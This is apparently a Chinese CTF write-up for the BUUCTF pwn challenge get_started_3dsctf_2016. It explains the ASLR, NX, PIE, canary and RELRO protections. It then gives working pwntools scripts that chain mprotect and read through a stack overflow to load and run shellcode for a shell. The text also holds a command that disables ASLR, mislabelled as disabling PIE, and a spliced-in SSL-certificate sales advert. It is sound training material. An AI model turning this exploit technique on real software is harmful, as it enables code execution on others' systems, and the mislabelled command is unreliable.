這篇文章主要講解了“如何利用mprotec函數(shù)修改內(nèi)存的權(quán)限寫(xiě)入shellcode”,文中的講解內(nèi)容簡(jiǎn)單清晰,易于學(xué)習(xí)與理解,下面請(qǐng)大家跟著小編的思路慢慢深入,一起來(lái)研究和學(xué)習(xí)“如何利用mprotec函數(shù)修改內(nèi)存的權(quán)限寫(xiě)入shellcode”吧!
修改使用mprotec函數(shù)修改內(nèi)存的權(quán)限為可讀可寫(xiě)可執(zhí)行,然后在該內(nèi)存中寫(xiě)入自己的shellcode,執(zhí)行該代碼即可.mprotect函數(shù):int mprotect(void *addr, size_t len, int prot);addr 內(nèi)存啟始地址len 修改內(nèi)存的長(zhǎng)度prot 內(nèi)存的權(quán)限
這里用buuctf題目get_started_3dsctf_2016
珠山ssl適用于網(wǎng)站、小程序/APP、API接口等需要進(jìn)行數(shù)據(jù)傳輸應(yīng)用場(chǎng)景,ssl證書(shū)未來(lái)市場(chǎng)廣闊!成為創(chuàng)新互聯(lián)建站的ssl證書(shū)銷售渠道,可以享受市場(chǎng)價(jià)格4-6折優(yōu)惠!如果有意向歡迎電話聯(lián)系或者加微信:18982081108(備注:SSL證書(shū)合作)期待與您的合作!
一個(gè)很簡(jiǎn)單的棧溢出
開(kāi)啟了NX
順便介紹一下各種保護(hù)一、ASLR
ASLR 的是操作系統(tǒng)的功能選項(xiàng),作用于 executable(ELF)裝入內(nèi)存運(yùn)行時(shí),因而只能隨機(jī)化 stack、heap、libraries 的基址。開(kāi)啟后每次加載程序的 stack、libarys、heap 等地址都會(huì)隨機(jī)化
未開(kāi)啟:無(wú)作用
半開(kāi)啟:隨機(jī)化 stack 和 libarys
二、NX
No-Execute(不可執(zhí)行),Nx 的原理是將數(shù)據(jù)所在內(nèi)存頁(yè)標(biāo)識(shí)為不可執(zhí)行,當(dāng)程序執(zhí)行流被劫持到棧上時(shí),程序會(huì)嘗試在數(shù)據(jù)頁(yè)面上執(zhí)行指令,因?yàn)閿?shù)據(jù)頁(yè)被標(biāo)記為不可知性,此時(shí)CPU就會(huì)拋出異常,而不是去執(zhí)行棧上數(shù)據(jù)。工作原理:
在Windows下,類似的概念為DEP(數(shù)據(jù)執(zhí)行保護(hù)),在最新版的Visual Studio中默認(rèn)開(kāi)啟了DEP編譯選項(xiàng)。
NX disabled:棧可以執(zhí)行,棧上的數(shù)據(jù)也可以被當(dāng)作代碼執(zhí)行。
三、PIE
PIE(Position Independent Executables)是編譯器(gcc,..)功能選項(xiàng)(-fPIE / -fpie),作用于編譯過(guò)程,可將其理解為特殊的 PIC(so專用,Position Independent Code),加了 PIE 選項(xiàng)編譯出來(lái)的 ELF 用 file 命令查看會(huì)顯示其為 so,其隨機(jī)化了 ELF 裝載內(nèi)存的基址(代碼段、plt、got、data 等共同的基址)。其效果為用 objdump、IDA 反匯編之后的地址是用偏移表示的而不是絕對(duì)地址。
No PIE:無(wú)作用
PIE enabled:代碼段、plt、got、data 等共同的基址會(huì)隨機(jī)化。在編譯后的程序中,只保留指令、數(shù)據(jù)等的偏移,而不是絕對(duì)地址的形式。
一般情況下NX(Windows平臺(tái)上稱其為DEP)和地址空間分布隨機(jī)化(ASLR)會(huì)同時(shí)工作。
內(nèi)存地址隨機(jī)化機(jī)制(address space layout randomization),有以下三種情況0 - 表示關(guān)閉進(jìn)程地址空間隨機(jī)化。 1 - 表示將mmap的基址,stack和vdso頁(yè)面隨機(jī)化。2 - 表示在1的基礎(chǔ)上增加棧(heap)的隨機(jī)化。
可以防范基于Ret2libc方式的針對(duì)DEP的攻擊。ASLR和DEP配合使用,能有效阻止攻擊者在堆棧上運(yùn)行惡意代碼。
Built as PIE:位置獨(dú)立的可執(zhí)行區(qū)域(position-independent executables)。這樣使得在利用緩沖溢出和移動(dòng)操作系統(tǒng)中存在的其他內(nèi)存崩潰缺陷時(shí)采用面向返回的編程(return-oriented programming)方法變得難得多。
liunx下關(guān)閉PIE的命令如下:sudo -s echo 0 > /proc/sys/kernel/randomize_va_space四、Canary
金絲雀保護(hù),開(kāi)啟這個(gè)保護(hù)后,函數(shù)開(kāi)始執(zhí)行的時(shí)候會(huì)先往棧里插入 cookie 信息,當(dāng)函數(shù)真正返回的時(shí)候會(huì)驗(yàn)證 cookie 信息是否合法,如果不合法就停止程序運(yùn)行。真正的 cookie 信息也會(huì)保存在程序的某個(gè)位置。插入棧中的 cookie 一般在 ebp / rbp 之上的一個(gè)內(nèi)存單元保存。
無(wú) Canary 保護(hù):無(wú)任何作用
部分函數(shù) Canary 保護(hù):在一些容易受到攻擊的函數(shù)返回地址之前添加 cookie 。在函數(shù)返回時(shí),檢查該 cookie 與原本程序插入該位置的 cookie 是否一致,若一致則程序認(rèn)為沒(méi)有受到棧溢出攻擊。
五、RELRO
設(shè)置符號(hào)重定位表格為只讀或在程序啟動(dòng)時(shí)就解析并綁定所有動(dòng)態(tài)符號(hào),從而減少對(duì) GOT 攻擊。
No RELRO:在這種模式下關(guān)于重定位并不進(jìn)行任何保護(hù)。
Partial RELRO:在這種模式下,一些段 (包括.dynamic) 在初始化后將會(huì)被標(biāo)識(shí)為只讀。
Full RELRO:在這種模式下,除了會(huì)開(kāi)啟部分保護(hù)外。惰性解析會(huì)被禁用(所有的導(dǎo)入符號(hào)將在開(kāi)始時(shí)被解析,.got.plt 段會(huì)被完全初始化為目標(biāo)函數(shù)的終地址,并被標(biāo)記為只讀)。此外,既然惰性解析被禁用,GOT[1] 與 GOT[2] 條目將不會(huì)被初始化為提到的值。
有后門函數(shù),但是遠(yuǎn)程打不通from pwn import *context.log_level = 'debug'elf = ELF('./get_started_3dsctf_2016')sh = elf.process()printf_addr = 0x0804F0E0main = 0x08048A20get_flag = 0x080489B8payload_01 = 'A' * 56 + p32(get_flag)sh.sendline(payload_01)sh.interactive()
遠(yuǎn)程打不通,但是發(fā)現(xiàn)了mprotec函數(shù),所以可以選擇通過(guò)mprotec函數(shù)修改內(nèi)存權(quán)限寫(xiě)入shellcode
下個(gè)斷點(diǎn),運(yùn)行
查看一下內(nèi)存
0x80ea000-0x80ec000為rw-p權(quán)限,可以寫(xiě)入,gdb命令擴(kuò)展:https://visualgdb.com/gdbreference/commands/x
本來(lái)是溢出到get_flag地址,現(xiàn)在棧溢出ret 到 mprotect函數(shù)地址payload = 'A'*0x38 + p32(mprotect_addr)
call 指令, call = push + jmp
所以直接ret后要留一個(gè)返回地址,因?yàn)閞et 就相當(dāng)于 jmp 到 mprotect,為了完整的回來(lái),所以在mprotect地址后在壓入一個(gè)返回地址.
payload += p32(ret_addr) + p32(argu1) + p32(argu2) +p32 (argu3)
ret_addr 為 mprotect函數(shù)執(zhí)行完后的地址.
argu1 為mprotect函數(shù)的第一個(gè)參數(shù) (被修改內(nèi)存的地址) 設(shè)置為 0x0x80EB000 (vmmap得到)
argu2 為mprotect函數(shù)的第二個(gè)參數(shù) (被修改內(nèi)存的大小) 設(shè)置為 0x1000 (0x0x80EB000-0x80ec000)
argu3 為mprotect函數(shù)的第三個(gè)參數(shù) (被修改內(nèi)存的權(quán)限) 設(shè)置為 7 = 4 + 2 +1 (rwx)
為了后續(xù)再能使用ret,我們構(gòu)造一下棧的布局,因?yàn)閙protect函數(shù)使用到了3個(gè)參數(shù),就找存在3個(gè)連續(xù)pop的指令。在正常情況下,函數(shù)傳參是使用push,所以要為了堆棧還原,函數(shù)調(diào)用結(jié)束時(shí)就使用pop來(lái)保證堆棧完好,所以需要三個(gè)pop
使用ROPgadget尋找合適的地址ROPgadget--binary get_started_3dsctf_2016 --only 'pop|ret' | grep pop
0x0804f460即為上面的ret_addr的地址
而現(xiàn)在的payload就可以為:payload = 'A'*0x38 + p32(mprotect_addr)+p32(pop3_addr) + p32(mem_addr) + p32(mem_size) +p32 (mem_proc)
定義執(zhí)行完mprotect函數(shù)的返回地址即read的地址,我們也就可以再次利用ret來(lái)控制eip,將自己的shellcode寫(xiě)入內(nèi)存再執(zhí)行,使用read函數(shù)寫(xiě)入。read函數(shù):ssize_t read(int fd, void *buf, size_t count);fd 設(shè)為0時(shí)就可以從輸入端讀取內(nèi)容 設(shè)為0buf 設(shè)為我們想要執(zhí)行的內(nèi)存地址 設(shè)為我們已找到的內(nèi)存地址0x80EB000size 適當(dāng)大小就可以 設(shè)為0x100就可以了
payload += p32(read_addr) + p32(ret_addr2) + p32(0x0) + p32(mem_addr) +p32 (0x100)
read函數(shù)跟mprotect一樣,call = push + jmp.
payload = 'A' *0x38 + p32(mprotect_addr)+p32(pop3_addr) + p32(mem_addr) + p32(mem_size) +p32 (mem_proc)+p32(read_addr) + p32(ret_addr2) + p32(0x0) + p32(mem_addr) +p32 (0x100)+p32(mem_addr)
在執(zhí)行read函數(shù)時(shí)就可以輸入shellcode
# _*_ coding:utf-8 _*_from pwn import *elf = ELF('./get_started_3dsctf_2016')sh = elf.process()sh = remote('node3.buuoj.cn', 28624)pop3_addr = 0x804951Dmem_addr = 0x80EB000 #可讀可寫(xiě)的內(nèi)存,但不可執(zhí)行mem_size = 0x1000 #通過(guò)調(diào)試出來(lái)的值mem_proc = 0x7 #可代表可讀可寫(xiě)可執(zhí)行mprotect_addr = elf.symbols['mprotect']read_addr = elf.symbols['read']payload = 'A'*0x38 + p32(mprotect_addr)+p32(pop3_addr) + p32(mem_addr) + p32(mem_size) +p32 (mem_proc)+p32(read_addr) + p32(pop3_addr) + p32(0x0) + p32(mem_addr) +p32 (0x100)+p32(mem_addr)sh.sendline(payload)payload_sh = asm(shellcraft.sh(),arch = 'i386', os = 'linux') sh.sendline(payload_sh)sh.interactive()